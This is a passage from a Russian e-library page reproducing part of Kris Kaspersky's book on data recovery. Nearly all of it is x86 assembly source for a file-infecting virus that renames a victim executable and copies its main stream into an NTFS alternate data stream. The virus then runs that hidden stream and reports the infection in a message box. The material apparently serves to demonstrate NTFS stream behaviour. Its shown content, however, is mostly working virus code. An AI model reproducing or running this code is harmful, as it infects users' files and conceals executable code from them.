Вход/Регистрация
Восстановление данных. Практическое руководство
вернуться

Касперски Крис

Шрифт:

; Удаляем временный файл

push foo

call [DeleteFile]

; Определяем наше имя

push 1000

push buf

push 0

call [GetModuleFileName]

; Считываем командную строку

; Ключ filename - заразить

call [GetCommandLine]

mov ebp, eax

xor ebx, ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx ; это '--*'?

jz infect

inc eax

cmp [eax], ebx ; Конец командной строки?

jnz rool

; Выводим диагностическое сообщение,

; подтверждая свое присутствие в файле

push 0

push aInfected

push aHello

push 0

call [MessageBox]

; Добавляем к своему имени имя потока NTFS

mov esi, code_name

mov edi, buf

mov ecx, 100; сode_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; Запускаем поток NTFS на выполнение

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit ; Выходим из вируса

infect:

; Устанавливаем eax на первый символ имени файла-жертвы

; (далее по тексту dst)

add eax, 4

xchg eax, ebp

xor eax,eax

inc eax

; Здесь можно вставить проверку dst на заражение

; Переименовываем dst в foo

push foo

push ebp

call [RenameFile]

; Копируем в foo основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; Добавляем к своему имени имя потока NTFS

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; Копируем foo в dst:bar

push eax

push buf

push foo

call [CopyFile]

; Здесь не помешает добавить коррекцию длины заражаемого файла

; Удаляем foo

push foo

call [DeleteFile]

; Выводим диагностическое сообщение,

; подтверждающее успешность заражения файла

push 0

push aInfected

push ebp

push 0

call [MessageBox]

; Выход из вируса

go2exit:

push 0

call [ExitProcess]

  • Читать дальше
  • 1
  • ...
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • ...

Ебукер (ebooker) – онлайн-библиотека на русском языке. Книги доступны онлайн, без утомительной регистрации. Огромный выбор и удобный дизайн, позволяющий читать без проблем. Добавляйте сайт в закладки! Все произведения загружаются пользователями: если считаете, что ваши авторские права нарушены – используйте форму обратной связи.

Полезные ссылки

  • Моя полка

Контакты

  • chitat.ebooker@gmail.com

Подпишитесь на рассылку: